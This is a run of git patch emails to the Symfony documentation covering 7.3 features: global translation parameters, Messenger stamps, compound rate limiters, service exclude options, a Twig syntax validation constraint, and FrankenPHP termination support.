+    Before Symfony 7.3, the ``--show-deprecations`` option only displayed the
+    first deprecation found, so you had to run the command repeatedly.
+
 When running the linter inside `GitHub Actions`_, the output is automatically
 adapted to the format required by GitHub, but you can force that format too:
 

From 97de6eb32ef3f5d8d1b7d2c1fca5fffe04806c1f Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Mon, 7 Apr 2025 08:42:34 +0200
Subject: [PATCH 6883/7107] [Translator] document global variables feature
 configuration

---
 translation.rst | 61 +++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 61 insertions(+)

diff --git a/translation.rst b/translation.rst
index c8996c08b48..7800161d77b 100644
--- a/translation.rst
+++ b/translation.rst
@@ -1160,6 +1160,67 @@ service argument with the :class:`Symfony\\Component\\Translation\\LocaleSwitche
 class to inject the locale switcher service. Otherwise, configure your services
 manually and inject the ``translation.locale_switcher`` service.
 
+.. _translation-global-variables:
+
+Global Variables
+~~~~~~~~~~~~~~~~
+
+The translator allows you to automatically configure global variables that will be available
+for the translation process. These global variables are defined in the ``translations.globals``
+option inside the main configuration file:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/translator.yaml
+        translator:
+            # ...
+            globals:
+                '%%app_name%%': 'My application'
+                '{app_version}': '1.2.3'
+                '{url}': { message: 'url', parameters: { scheme: 'https://' }, domain: 'global' }
+
+    .. code-block:: xml
+
+           <!-- config/packages/translation.xml -->
+           <?xml version="1.0" encoding="UTF-8" ?>
+           <container xmlns="http://symfony.com/schema/dic/services"
+               xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+               xmlns:framework="http://symfony.com/schema/dic/symfony"
+               xsi:schemaLocation="http://symfony.com/schema/dic/services
+                   https://symfony.com/schema/dic/services/services-1.0.xsd
+                   http://symfony.com/schema/dic/symfony
+                   https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+               <framework:config>
+                   <framework:translator>
+                       <!-- ... -->
+                       <framework:global name="%%app_name%%">My application</framework:global>
+                       <framework:global name="{app_version}" value="1.2.3" />
+                       <framework:global name="{url}" message="url" domain="global">
+                            <framework:parameter name="scheme">https://</framework:parameter>
+                        </framework:global>
+                   </framework:translator>
+               </framework:config>
+           </container>
+
+    .. code-block:: php
+
+        // config/packages/translator.php
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $translator): void {
+            // ...
+            $translator->globals('%%app_name%%')->value('My application');
+            $translator->globals('{app_version}')->value('1.2.3');
+            $translator->globals('{url}')->value(['message' => 'url', 'parameters' => ['scheme' => 'https://']);
+        };
+
+.. versionadded:: 7.3
+
+    The ``translator:globals`` option was introduced in Symfony 7.3.
+
 .. _translation-debug:
 
 How to Find Missing or Unused Translation Messages

From 97d301a5c1c4a69f3958777b95d9c8ffcd4b928b Mon Sep 17 00:00:00 2001
From: Pierre Ambroise <pierre27.ambroise@gmail.com>
Date: Wed, 2 Apr 2025 11:41:05 +0200
Subject: [PATCH 6884/7107] [Messenger] Document stamps in HandleTrait::handle

---
 messenger.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index fc8f9491022..159dd567a34 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2512,6 +2512,20 @@ wherever you need a query bus behavior instead of the ``MessageBusInterface``::
         }
     }
 
+You also can also add stamps when handling a message. For example, you can
+add an ``DoctrineFlushStamp`` to flush the entity manager after handling the message::
+
+    $this->handle(new SomeMessage($data), [new DoctrineFlushStamp()]);
+
+.. note::
+
+    If adding a stamp of the same type that already exists in the envelope,
+    both stamps will be kept (see `Envelopes & Stamps`_).
+
+.. versionadded:: 7.3
+
+    The ``$stamps`` parameter on the handle method was introduced in Symfony 7.3.
+
 Customizing Handlers
 --------------------
 

From c2c14fd74b50128ffd986919aec8c1fc7cf49cca Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 7 Apr 2025 09:40:08 +0200
Subject: [PATCH 6885/7107] Minor tweak

---
 messenger.rst | 12 ++++--------
 1 file changed, 4 insertions(+), 8 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 47e0ad61906..b05056243c2 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2525,19 +2525,15 @@ wherever you need a query bus behavior instead of the ``MessageBusInterface``::
         }
     }
 
-You also can also add stamps when handling a message. For example, you can
-add an ``DoctrineFlushStamp`` to flush the entity manager after handling the message::
+You can also add new stamps when handling a message; they will be appended
+to the existing ones. For example, you can add a ``DoctrineFlushStamp`` to
+flush the entity manager after handling the message::
 
     $this->handle(new SomeMessage($data), [new DoctrineFlushStamp()]);
 
-.. note::
-
-    If adding a stamp of the same type that already exists in the envelope,
-    both stamps will be kept (see `Envelopes & Stamps`_).
-
 .. versionadded:: 7.3
 
-    The ``$stamps`` parameter on the handle method was introduced in Symfony 7.3.
+    The ``$stamps`` parameter of the ``handle()`` method was introduced in Symfony 7.3.
 
 Customizing Handlers
 --------------------

From 7f9f20fcd83889b0725ec7d6e7192af8dc2391c8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 7 Apr 2025 10:16:39 +0200
Subject: [PATCH 6886/7107] [Mesenger] Fix code example

---
 messenger.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index b05056243c2..9078a500d11 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2526,10 +2526,9 @@ wherever you need a query bus behavior instead of the ``MessageBusInterface``::
     }
 
 You can also add new stamps when handling a message; they will be appended
-to the existing ones. For example, you can add a ``DoctrineFlushStamp`` to
-flush the entity manager after handling the message::
+to the existing ones::
 
-    $this->handle(new SomeMessage($data), [new DoctrineFlushStamp()]);
+    $this->handle(new SomeMessage($data), [new SomeStamp(), new AnotherStamp()]);
 
 .. versionadded:: 7.3
 

From 11b256998374bdfbfa7a0155cf1274661a15811b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 8 Apr 2025 11:03:16 +0200
Subject: [PATCH 6887/7107] Tweaks and rewords

---
 translation.rst | 139 +++++++++++++++++++++++++++---------------------
 1 file changed, 78 insertions(+), 61 deletions(-)

diff --git a/translation.rst b/translation.rst
index 7800161d77b..35751d7db5f 100644
--- a/translation.rst
+++ b/translation.rst
@@ -416,6 +416,84 @@ You can also specify the message domain and pass some additional variables:
     major difference: automatic output escaping is **not** applied to translations
     using a tag.
 
+Global Translation Parameters
+-----------------------------
+
+.. versionadded:: 7.3
+
+    The global translation parameters feature was introduced in Symfony 7.3.
+
+If the content of a translation parameter is repeated across multiple
+translation messages (e.g. a company name, or a version number), you can define
+it as a global translation parameter. This helps you avoid repeating the same
+values manually in each message.
+
+You can configure these global parameters in the ``translations.globals`` option
+of your main configuration file using either ``%...%`` or ``{...}`` syntax:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/translator.yaml
+        translator:
+            # ...
+            globals:
+                # when using the '%' wrapping characters, you must escape them
+                '%%app_name%%': 'My application'
+                '{app_version}': '1.2.3'
+                '{url}': { message: 'url', parameters: { scheme: 'https://' }, domain: 'global' }
+
+    .. code-block:: xml
+
+           <!-- config/packages/translation.xml -->
+           <?xml version="1.0" encoding="UTF-8" ?>
+           <container xmlns="http://symfony.com/schema/dic/services"
+               xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+               xmlns:framework="http://symfony.com/schema/dic/symfony"
+               xsi:schemaLocation="http://symfony.com/schema/dic/services
+                   https://symfony.com/schema/dic/services/services-1.0.xsd
+                   http://symfony.com/schema/dic/symfony
+                   https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+               <framework:config>
+                   <framework:translator>
+                       <!-- ... -->
+                        <!-- when using the '%' wrapping characters, you must escape them -->
+                       <framework:global name="%%app_name%%">My application</framework:global>
+                       <framework:global name="{app_version}" value="1.2.3" />
+                       <framework:global name="{url}" message="url" domain="global">
+                            <framework:parameter name="scheme">https://</framework:parameter>
+                        </framework:global>
+                   </framework:translator>
+               </framework:config>
+           </container>
+
+    .. code-block:: php
+
+        // config/packages/translator.php
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $translator): void {
+            // ...
+            // when using the '%' wrapping characters, you must escape them
+            $translator->globals('%%app_name%%')->value('My application');
+            $translator->globals('{app_version}')->value('1.2.3');
+            $translator->globals('{url}')->value(['message' => 'url', 'parameters' => ['scheme' => 'https://']]);
+        };
+
+Once defined, you can use these parameters in translation messages anywhere in
+your application:
+
+.. code-block:: twig
+
+    {{ 'Application version: {version}'|trans }}
+    {# output: "Application version: 1.2.3" #}
+
+    {# parameters passed to the message override global parameters #}
+    {{ 'Package version: {version}'|trans({'{version}': '2.3.4'}) }}
+    # Displays "Package version: 2.3.4"
+
 Forcing the Translator Locale
 -----------------------------
 
@@ -1160,67 +1238,6 @@ service argument with the :class:`Symfony\\Component\\Translation\\LocaleSwitche
 class to inject the locale switcher service. Otherwise, configure your services
 manually and inject the ``translation.locale_switcher`` service.
 
-.. _translation-global-variables:
-
-Global Variables
-~~~~~~~~~~~~~~~~
-
-The translator allows you to automatically configure global variables that will be available
-for the translation process. These global variables are defined in the ``translations.globals``
-option inside the main configuration file:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/translator.yaml
-        translator:
-            # ...
-            globals:
-                '%%app_name%%': 'My application'
-                '{app_version}': '1.2.3'
-                '{url}': { message: 'url', parameters: { scheme: 'https://' }, domain: 'global' }
-
-    .. code-block:: xml
-
-           <!-- config/packages/translation.xml -->
-           <?xml version="1.0" encoding="UTF-8" ?>
-           <container xmlns="http://symfony.com/schema/dic/services"
-               xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-               xmlns:framework="http://symfony.com/schema/dic/symfony"
-               xsi:schemaLocation="http://symfony.com/schema/dic/services
-                   https://symfony.com/schema/dic/services/services-1.0.xsd
-                   http://symfony.com/schema/dic/symfony
-                   https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
-               <framework:config>
-                   <framework:translator>
-                       <!-- ... -->
-                       <framework:global name="%%app_name%%">My application</framework:global>
-                       <framework:global name="{app_version}" value="1.2.3" />
-                       <framework:global name="{url}" message="url" domain="global">
-                            <framework:parameter name="scheme">https://</framework:parameter>
-                        </framework:global>
-                   </framework:translator>
-               </framework:config>
-           </container>
-
-    .. code-block:: php
-
-        // config/packages/translator.php
-        use Symfony\Config\TwigConfig;
-
-        return static function (TwigConfig $translator): void {
-            // ...
-            $translator->globals('%%app_name%%')->value('My application');
-            $translator->globals('{app_version}')->value('1.2.3');
-            $translator->globals('{url}')->value(['message' => 'url', 'parameters' => ['scheme' => 'https://']);
-        };
-
-.. versionadded:: 7.3
-
-    The ``translator:globals`` option was introduced in Symfony 7.3.
-
 .. _translation-debug:
 
 How to Find Missing or Unused Translation Messages

From fff52938f54f32cb6b246f73423affbe1365660b Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Tue, 8 Apr 2025 07:23:44 -0400
Subject: [PATCH 6888/7107] [RateLimiter] deprecate injecting
 `RateLimiterFactory`

---
 rate_limiter.rst | 18 ++++++++++++------
 1 file changed, 12 insertions(+), 6 deletions(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 81bd7f5689e..1036e80e682 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -230,6 +230,12 @@ prevents that number from being higher than 5,000).
 Rate Limiting in Action
 -----------------------
 
+.. versionadded:: 7.3
+
+    :class:`Symfony\\Component\\RateLimiter\\RateLimiterFactoryInterface` was
+    added and should now be used for autowiring instead of
+    :class:`Symfony\\Component\\RateLimiter\\RateLimiterFactory`.
+
 After having installed and configured the rate limiter, inject it in any service
 or controller and call the ``consume()`` method to try to consume a given number
 of tokens. For example, this controller uses the previous rate limiter to control
@@ -242,13 +248,13 @@ the number of requests to the API::
     use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\HttpKernel\Exception\TooManyRequestsHttpException;
-    use Symfony\Component\RateLimiter\RateLimiterFactory;
+    use Symfony\Component\RateLimiter\RateLimiterFactoryInterface;
 
     class ApiController extends AbstractController
     {
         // if you're using service autowiring, the variable name must be:
         // "rate limiter name" (in camelCase) + "Limiter" suffix
-        public function index(Request $request, RateLimiterFactory $anonymousApiLimiter): Response
+        public function index(Request $request, RateLimiterFactoryInterface $anonymousApiLimiter): Response
         {
             // create a limiter based on a unique identifier of the client
             // (e.g. the client's IP address, a username/email, an API key, etc.)
@@ -291,11 +297,11 @@ using the ``reserve()`` method::
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\RateLimiter\RateLimiterFactory;
+    use Symfony\Component\RateLimiter\RateLimiterFactoryInterface;
 
     class ApiController extends AbstractController
     {
-        public function registerUser(Request $request, RateLimiterFactory $authenticatedApiLimiter): Response
+        public function registerUser(Request $request, RateLimiterFactoryInterface $authenticatedApiLimiter): Response
         {
             $apiKey = $request->headers->get('apikey');
             $limiter = $authenticatedApiLimiter->create($apiKey);
@@ -350,11 +356,11 @@ the :class:`Symfony\\Component\\RateLimiter\\Reservation` object returned by the
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\RateLimiter\RateLimiterFactory;
+    use Symfony\Component\RateLimiter\RateLimiterFactoryInterface;
 
     class ApiController extends AbstractController
     {
-        public function index(Request $request, RateLimiterFactory $anonymousApiLimiter): Response
+        public function index(Request $request, RateLimiterFactoryInterface $anonymousApiLimiter): Response
         {
             $limiter = $anonymousApiLimiter->create($request->getClientIp());
             $limit = $limiter->consume();

From 35349c17b05de94e156ca0247b2f4d9f887aaa3a Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Tue, 8 Apr 2025 07:45:37 -0400
Subject: [PATCH 6889/7107] [RateLimiter] compound rate limiter

---
 rate_limiter.rst | 117 +++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 117 insertions(+)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 81bd7f5689e..906e787e7e1 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -541,6 +541,123 @@ at all):
     lock factory (``lock.factory``) failed if the Symfony Lock component was not
     installed in the application.
 
+Compound Rate Limiter
+---------------------
+
+.. versionadded:: 7.3
+
+    Configuring compound rate limiters was added in 7.3.
+
+You can configure multiple rate limiters to work together:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/rate_limiter.yaml
+        framework:
+            rate_limiter:
+                two_per_minute:
+                    policy: 'fixed_window'
+                    limit: 2
+                    interval: '1 minute'
+                five_per_hour:
+                    policy: 'fixed_window'
+                    limit: 5
+                    interval: '1 hour'
+                contact_form:
+                    policy: 'compound'
+                    limiters: [two_per_minute, five_per_hour]
+
+    .. code-block:: xml
+
+        <!-- config/packages/rate_limiter.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:rate-limiter>
+                    <framework:limiter name="two_per_minute"
+                        policy="fixed_window"
+                        limit="2"
+                        interval="1 minute"
+                    />
+
+                    <framework:limiter name="five_per_hour"
+                        policy="fixed_window"
+                        limit="5"
+                        interval="1 hour"
+                    />
+
+                    <framework:limiter name="contact_form"
+                        policy="compound"
+                    >
+                        <limiter>two_per_minute</limiter>
+                        <limiter>five_per_hour</limiter>
+                    </framework:limiter>
+                </framework:rate-limiter>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/rate_limiter.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            $framework->rateLimiter()
+                ->limiter('two_per_minute')
+                    ->policy('fixed_window')
+                    ->limit(2)
+                    ->interval('1 minute')
+                ;
+
+            $framework->rateLimiter()
+                ->limiter('two_per_minute')
+                    ->policy('fixed_window')
+                    ->limit(5)
+                    ->interval('1 hour')
+                ;
+
+            $framework->rateLimiter()
+                ->limiter('contact_form')
+                    ->policy('compound')
+                    ->limiters(['two_per_minute', 'five_per_hour'])
+                ;
+        };
+
+Then, inject and use as normal::
+
+    // src/Controller/ContactController.php
+    namespace App\Controller;
+
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\RateLimiter\RateLimiterFactory;
+
+    class ContactController extends AbstractController
+    {
+        public function registerUser(Request $request, RateLimiterFactoryInterface $contactFormLimiter): Response
+        {
+            $limiter = $contactFormLimiter->create($request->getClientIp());
+
+            if (false === $limiter->consume(1)->isAccepted()) {
+                // either of the two limiters has been reached
+            }
+
+            // ...
+        }
+
+        // ...
+    }
+
 .. _`DoS attacks`: https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html
 .. _`Apache mod_ratelimit`: https://httpd.apache.org/docs/current/mod/mod_ratelimit.html
 .. _`NGINX rate limiting`: https://www.nginx.com/blog/rate-limiting-nginx/

From 70716ab76d3e4066668c81ad1be465e3dc1a772e Mon Sep 17 00:00:00 2001
From: Hubert Lenoir <Jean-Beru@users.noreply.github.com>
Date: Tue, 8 Apr 2025 17:57:53 +0200
Subject: [PATCH 6890/7107] Update service_container.rst to 7.3

---
 service_container.rst | 13 +++----------
 1 file changed, 3 insertions(+), 10 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index 30b69b8aa14..9a024e5e320 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -162,10 +162,6 @@ each time you ask for it.
                 # this creates a service per class whose id is the fully-qualified class name
                 App\:
                     resource: '../src/'
-                    exclude:
-                        - '../src/DependencyInjection/'
-                        - '../src/Entity/'
-                        - '../src/Kernel.php'
 
                 # order is important in this file because service definitions
                 # always *replace* previous ones; add your own service configuration below
@@ -187,7 +183,7 @@ each time you ask for it.
 
                     <!-- makes classes in src/ available to be used as services -->
                     <!-- this creates a service per class whose id is the fully-qualified class name -->
-                    <prototype namespace="App\" resource="../src/" exclude="../src/{DependencyInjection,Entity,Kernel.php}"/>
+                    <prototype namespace="App\" resource="../src/"/>
 
                     <!-- order is important in this file because service definitions
                          always *replace* previous ones; add your own service configuration below -->
@@ -212,8 +208,7 @@ each time you ask for it.
 
                 // makes classes in src/ available to be used as services
                 // this creates a service per class whose id is the fully-qualified class name
-                $services->load('App\\', '../src/')
-                    ->exclude('../src/{DependencyInjection,Entity,Kernel.php}');
+                $services->load('App\\', '../src/');
 
                 // order is important in this file because service definitions
                 // always *replace* previous ones; add your own service configuration below
@@ -221,9 +216,7 @@ each time you ask for it.
 
     .. tip::
 
-        The value of the ``resource`` and ``exclude`` options can be any valid
-        `glob pattern`_. The value of the ``exclude`` option can also be an
-        array of glob patterns.
+        The value of the ``resource`` option can be any valid `glob pattern`_.
 
     Thanks to this configuration, you can automatically use any classes from the
     ``src/`` directory as a service, without needing to manually configure

From c0f12c7408489bb8031b77d2caea5e3ce547781f Mon Sep 17 00:00:00 2001
From: "hubert.lenoir" <hubert.lenoir@sensiolabs.com>
Date: Tue, 8 Apr 2025 20:36:41 +0200
Subject: [PATCH 6891/7107] [Translation] Fix Lint (DOCtor-RST)

---
 translation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/translation.rst b/translation.rst
index 35751d7db5f..86282090801 100644
--- a/translation.rst
+++ b/translation.rst
@@ -461,7 +461,7 @@ of your main configuration file using either ``%...%`` or ``{...}`` syntax:
                        <!-- ... -->
                         <!-- when using the '%' wrapping characters, you must escape them -->
                        <framework:global name="%%app_name%%">My application</framework:global>
-                       <framework:global name="{app_version}" value="1.2.3" />
+                       <framework:global name="{app_version}" value="1.2.3"/>
                        <framework:global name="{url}" message="url" domain="global">
                             <framework:parameter name="scheme">https://</framework:parameter>
                         </framework:global>

From ac9e20cad5195c101d843bcb6cb391f0b9316011 Mon Sep 17 00:00:00 2001
From: Mokhtar Tlili <mokhtar.tlili@vicoland.com>
Date: Tue, 8 Apr 2025 21:05:43 +0200
Subject: [PATCH 6892/7107] Add docs for bridge twig validator #20836

---
 bridge/twig/validation.rst | 63 ++++++++++++++++++++++++++++++++++++++
 index.rst                  |  1 +
 twig_bridge.rst            |  9 ++++++
 3 files changed, 73 insertions(+)
 create mode 100644 bridge/twig/validation.rst
 create mode 100644 twig_bridge.rst

diff --git a/bridge/twig/validation.rst b/bridge/twig/validation.rst
new file mode 100644
index 00000000000..e7b887f5588
--- /dev/null
+++ b/bridge/twig/validation.rst
@@ -0,0 +1,63 @@
+Validating Twig Template Syntax
+===============================
+
+The Twig Bridge provides a custom `Twig` constraint that allows validating
+whether a given string contains valid Twig syntax.
+
+This is particularly useful when template content is user-generated or
+configurable, and you want to ensure it can be safely rendered by the Twig engine.
+
+Installation
+------------
+
+This constraint is part of the `symfony/twig-bridge` package. Make sure it's installed:
+
+.. code-block:: terminal
+
+    $ composer require symfony/twig-bridge
+
+Usage
+-----
+
+To use the `Twig` constraint, annotate the property that should contain a valid
+Twig template::
+
+    use Symfony\Bridge\Twig\Validator\Constraints\Twig;
+
+    class Template
+    {
+        #[Twig]
+        private string $templateCode;
+    }
+
+If the template contains a syntax error, a validation error will be thrown.
+
+Constraint Options
+------------------
+
+**message**
+Customize the default error message when the template is invalid::
+
+    // ...
+    class Template
+    {
+        #[Twig(message: 'Your template contains a syntax error.')]
+        private string $templateCode;
+    }
+
+**skipDeprecations**
+By default, this option is set to `true`, which means Twig deprecation warnings
+are ignored during validation.
+
+If you want validation to fail when deprecated features are used in the template,
+set this to `false`::
+
+    // ...
+    class Template
+    {
+        #[Twig(skipDeprecations: false)]
+        private string $templateCode;
+    }
+
+This can be helpful when enforcing stricter template rules or preparing for major
+Twig version upgrades.
diff --git a/index.rst b/index.rst
index c566e5f8671..2bd09c8c0dc 100644
--- a/index.rst
+++ b/index.rst
@@ -60,6 +60,7 @@ Topics
     web_link
     webhook
     workflow
+    twig_bridge
 
 Components
 ----------
diff --git a/twig_bridge.rst b/twig_bridge.rst
new file mode 100644
index 00000000000..bb7d84f7e9a
--- /dev/null
+++ b/twig_bridge.rst
@@ -0,0 +1,9 @@
+Twig Bridge
+===========
+
+This bridge integrates Symfony with the Twig templating engine.
+
+.. toctree::
+   :maxdepth: 1
+
+   bridge/twig/validation

From a7a6c1d23db3430752cbdf59354aad47aaa4ef32 Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Tue, 8 Apr 2025 07:13:46 -0400
Subject: [PATCH 6893/7107] [Scheduler][Webhook] add screencast links

---
 scheduler.rst | 6 ++++++
 webhook.rst   | 6 ++++++
 2 files changed, 12 insertions(+)

diff --git a/scheduler.rst b/scheduler.rst
index a09fabfc4ca..1630fd8dada 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -1,6 +1,11 @@
 Scheduler
 =========
 
+.. admonition:: Screencast
+    :class: screencast
+
+    Like video tutorials? Check out this `Scheduler quick-start screencast`_.
+
 The scheduler component manages task scheduling within your PHP application, like
 running a task each night at 3 AM, every two weeks except for holidays or any
 other custom schedule you might need.
@@ -1008,3 +1013,4 @@ helping you identify those messages when needed.
 .. _`cron command-line utility`: https://en.wikipedia.org/wiki/Cron
 .. _`crontab.guru website`: https://crontab.guru/
 .. _`relative formats`: https://www.php.net/manual/en/datetime.formats.php#datetime.formats.relative
+.. _`Scheduler quick-start screencast`: https://symfonycasts.com/screencast/mailtrap/bonus-symfony-scheduler
diff --git a/webhook.rst b/webhook.rst
index aba95cffb04..9d6b56c7ef0 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -15,6 +15,11 @@ Installation
 Usage in Combination with the Mailer Component
 ----------------------------------------------
 
+.. admonition:: Screencast
+    :class: screencast
+
+    Like video tutorials? Check out the `Webhook Component for Email Events screencast`_.
+
 When using a third-party mailer provider, you can use the Webhook component to
 receive webhook calls from this provider.
 
@@ -207,3 +212,4 @@ Creating a Custom Webhook
     Webhook.
 
 .. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
+.. _`Webhook Component for Email Events screencast`: https://symfonycasts.com/screencast/mailtrap/email-event-webhook

From 59fd3a3f167c8c799fad3256ace24dc8a72501de Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 9 Apr 2025 12:31:13 +0200
Subject: [PATCH 6894/7107] Tweaks

---
 service_container.rst        | 44 ++++++++++++++++++++++++++++++++++++
 service_container/import.rst |  7 ++----
 2 files changed, 46 insertions(+), 5 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index 9a024e5e320..6ae601cf724 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -223,6 +223,50 @@ each time you ask for it.
     it. Later, you'll learn how to :ref:`import many services at once
     <service-psr4-loader>` with resource.
 
+    If some files or directories in your project should not become services, you
+    can exclude them using the ``exclude`` option:
+
+        .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/services.yaml
+            services:
+                # ...
+                App\:
+                    resource: '../src/'
+                    exclude:
+                        - '../src/SomeDirectory/'
+                        - '../src/AnotherDirectory/'
+                        - '../src/SomeFile.php'
+
+        .. code-block:: xml
+
+            <!-- config/services.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <container xmlns="http://symfony.com/schema/dic/services"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+                <services>
+                    <prototype namespace="App\" resource="../src/" exclude="../src/{SomeDirectory,AnotherDirectory,Kernel.php}"/>
+                    <!-- ... -->
+                </services>
+            </container>
+
+        .. code-block:: php
+
+            // config/services.php
+            namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+            return function(ContainerConfigurator $container): void {
+                // ...
+
+                $services->load('App\\', '../src/')
+                    ->exclude('../src/{SomeDirectory,AnotherDirectory,Kernel.php}');
+            };
+
     If you'd prefer to manually wire your service, you can
     :ref:`use explicit configuration <services-explicitly-configure-wire-services>`.
 
diff --git a/service_container/import.rst b/service_container/import.rst
index d5056032115..293cb5b97c2 100644
--- a/service_container/import.rst
+++ b/service_container/import.rst
@@ -82,7 +82,6 @@ a relative or absolute path to the imported file:
 
             App\:
                 resource: '../src/*'
-                exclude: '../src/{DependencyInjection,Entity,Migrations,Tests,Kernel.php}'
 
             # ...
 
@@ -104,8 +103,7 @@ a relative or absolute path to the imported file:
             <services>
                 <defaults autowire="true" autoconfigure="true"/>
 
-                <prototype namespace="App\" resource="../src/*"
-                    exclude="../src/{DependencyInjection,Entity,Migrations,Tests,Kernel.php}"/>
+                <prototype namespace="App\" resource="../src/*"/>
 
                 <!-- ... -->
             </services>
@@ -127,8 +125,7 @@ a relative or absolute path to the imported file:
                     ->autoconfigure()
             ;
 
-            $services->load('App\\', '../src/*')
-                ->exclude('../src/{DependencyInjection,Entity,Migrations,Tests,Kernel.php}');
+            $services->load('App\\', '../src/*');
         };
 
 When loading a configuration file, Symfony loads first the imported files and

From 518fc3a24cfd03eff976cf296997edc8e2aea2f8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 9 Apr 2025 16:22:11 +0200
Subject: [PATCH 6895/7107] Minor tweak

---
 rate_limiter.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 4bd213d2363..3a517c37bd4 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -552,7 +552,7 @@ Compound Rate Limiter
 
 .. versionadded:: 7.3
 
-    Configuring compound rate limiters was added in 7.3.
+    Support for configuring compound rate limiters was introduced in Symfony 7.3.
 
 You can configure multiple rate limiters to work together:
 

From fcfcacb6afdd7b6fcbdf5587f9c59140b9d5f887 Mon Sep 17 00:00:00 2001
From: Van Truong PHAN <svd.phan@gmail.com>
Date: Thu, 10 Apr 2025 04:44:59 +0200
Subject: [PATCH 6896/7107] Franken PHP can perform some action after the
 response has been streamed to the user

Franken also implements fastcgi_finish_request PHP function. kernel.terminate event works well with franken.
---
 components/http_kernel.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 351a2123b90..cf16de9fe61 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -497,8 +497,8 @@ as possible to the client (e.g. sending emails).
 .. warning::
 
     Internally, the HttpKernel makes use of the :phpfunction:`fastcgi_finish_request`
-    PHP function. This means that at the moment, only the `PHP FPM`_ server
-    API is able to send a response to the client while the server's PHP process
+    PHP function. This means that at the moment, only the `PHP FPM`_ and `FrankenPHP`_ servers
+    API are able to send a response to the client while the server's PHP process
     still performs some tasks. With all other server APIs, listeners to ``kernel.terminate``
     are still executed, but the response is not sent to the client until they
     are all completed.
@@ -770,3 +770,4 @@ Learn more
 .. _FOSRestBundle: https://github.com/friendsofsymfony/FOSRestBundle
